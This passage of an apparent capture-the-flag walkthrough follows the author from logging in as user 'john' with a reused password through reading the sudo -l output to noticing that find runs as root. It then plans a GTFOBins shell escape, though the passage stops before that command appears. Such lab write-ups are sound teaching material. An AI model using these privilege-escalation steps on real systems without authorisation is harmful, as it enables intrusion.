Sorry John but it looks like you are going to be our victim today. I’m sure you’re lovely guy but if you have reused your password then you deserved to be pwned! (joking, or am I?). Now that we have a username and password, Lets try and switch user to john.
With that out the way, lets see how we can elevate our provides and grab the root flag. The first thing we need to know is what john can run, besides his security posture in to the ground.
[email protected]:/$ id uid=1000(john) gid=1000(john) groups=1000(john)[email protected]:/$ sudo -l [sudo] password for john: thisisagoodpassword Matching Defaults entries for john on base: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on base: (root : root) /usr/bin/find
It appears john has permission to run the find command as root. Shame he couldn’t FIND a better password. Moving forward we should check whether find has any methods of escape, like the one we performed on Guard with the man command. In order to this, I checked the website GTFOBins and it says the following command can be used to escape a restricted shell. Hopefully that means it will drop us in to a root shell.
